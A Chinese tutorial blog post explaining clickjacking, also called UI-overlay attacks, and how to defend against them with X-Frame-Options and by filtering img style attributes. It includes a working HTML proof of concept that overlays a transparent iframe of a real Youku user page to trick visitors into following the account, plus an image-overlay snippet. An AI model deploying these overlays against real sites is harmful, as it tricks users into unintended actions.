美文网首页
HTTPS点击劫持

HTTPS点击劫持

作者: david161 | 来源:发表于2022-09-06 16:13 被阅读0次

攻击原理

点击劫持(Click Jacking),也被称为UI覆盖攻击。
1 黑客创建一个网页利用iframe包含目标网站;隐藏目标中的网站,是用户无法察觉到目标网站的存在;
诱使用户点击图中特定的按钮。特定的按钮为位置和原网页中关键按钮位置一致
2 用户在不知情的情况下点击按钮,被引诱执行了危险操作


image.png

攻击方式

两种方式:
一是攻击者使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,此时用户将在不知情的情况下点击透明的iframe页面;
二是攻击者使用一张图片覆盖在网页,遮挡网页原有位置的含义。

iframe覆盖攻击与防护

iframe攻击就像一张图片上面铺了一层透明的纸一样,你看到的页面是在底部,而你真正点击的是被黑客透明化的另一个网页。一个简单的点击劫持例子,就是当你点击了一个不明链接之后,自动关注了某一个人的博客或者订阅了视频。
假如我在优酷发布了很多视频,想让更多的人关注它,于是我们准备了一个页面:

<!DOCTYPE html> 
<html>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> 
<head>
    <title>点击劫持 POC</title> 
    <style> 
        iframe { 
            width: 1440px;
            height: 900px; 
            position: absolute; 
            top: -0px; 
            left: -0px; 
            z-index: 2; 
            -moz-opacity: 0; 
            opacity: 0; 
            filter: alpha(opacity=0); 
        }
        button { 
            position: absolute; 
            top: 270px; 
            left: 1150px; 
            z-index: 1; 
            width: 90px; 
            height:40px; 
        } 
    </style> 
</head> 
<body>
    <button>美女图片</button> 
    <img src="http://pic1.win4000.com/wallpaper/2018-03- 19/5aaf2bf0122d2.jpg"> 
    <iframe src="http://i.youku.com/u/UMjA0NTg4Njcy" scrolling="no"></iframe> 
</body> 
</html>

当然真正的页面肯定会更精致一些,不会这么简陋。
解决办法
使用一个HTTP头——X-Frame-Options。X-Frame-Options可以说是为了解决
ClickJacking而生的,它有三个可选的值:
DENY:浏览器会拒绝当前页面加载任何frame页面;
SAMEORIGIN :frame页面的地址只能为同源域名下的页面;
ALLOW-FROM origin:允许frame加载的页面地址;
nginx配置:

add_header X-Frame-Options SAMEORIGIN;

图片覆盖攻击与防护

图片覆盖攻击(Cross Site Image Overlaying),攻击者使用一张或多张图片,利用图片的style或者能够控制的CSS,将图片覆盖在网页上,形成点击劫持。当然图片本身所带的信息可能就带有欺骗的含义,这样不需要用户点击,也能达到欺骗的目的。
PS:这种攻击很容易出现在网站本身的页面。
示例
在可以输入HTML内容的地方加上一张图片,只不过将图片覆盖在指定的位置。

<a href="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE"> 
     <img src="XXXXXX" style="position:absolute;top:90px;left:320px;" /> 
</a>

解决办法
在防御图片覆盖攻击时,需要检查用户提交的HTML代码中,img标签的style属性是否可能导致浮出。
总结:
点击劫持算是一种很多人不大关注的攻击,他需要诱使用户与页面进行交互,实施的攻击成本更高。另外开发者可能会觉得是用户犯蠢,不重视这种攻击方式。

相关文章

  • HTTPS点击劫持

    攻击原理 点击劫持(Click Jacking),也被称为UI覆盖攻击。1 黑客创建一个网页利用iframe包含目...

  • 点击劫持

    原理 攻击者网页有 iframe嵌套着目标网站b, 定位到最前面,并设置透明。 防御 X-Frame-Option...

  • Acunetix扫描网站漏洞的解决办法

    1.点击劫持:X-Frame-Options 报头缺失参考地址:https://www.cnblogs.com/l...

  • 点击劫持ClickJacking

    点击劫持 图片覆盖 拖拽劫持与数据窃取 触屏劫持 防御ClickJackingframe busting可以用,但...

  • 常见WEB攻击之点击劫持攻击

    一、什么是点击劫持? 点击劫持,clickjacking,也被称为UI-覆盖攻击。这个词首次出现在2008年,是由...

  • 如何劫持https请求

    https协议就是http+ssl协议。 一个完整的https包涵以下连接过程: 1、客户端发送https请求。2...

  • nginx防点击劫持

    使用 X-Frame-Options 有三个可选的值: DENY:浏览器拒绝当前页面加载任何Frame页面 SAM...

  • Web安全之点击劫持

    点击劫持是指在一个Web页面下隐藏了一个透明的iframe(opacity:0),用外层假页面诱导用户点击,实际上...

  • 白帽子将web安全-点击劫持

    一点击劫持 点击劫持是视觉上的一种欺骗手段。攻击者使用一个透明的,不可见的iframe,覆盖在一个网页上,诱导用户...

  • hook View点击事件(View点击事件劫持)

    引入 最近在做项目优化的时候,发现点击某个控件使用某个功能时,事先要判断用户是否登录,翻看代码时发现很多地方写了大...

网友评论

      本文标题:HTTPS点击劫持

      本文链接:https://www.haomeiwen.com/subject/hyplgrtx.html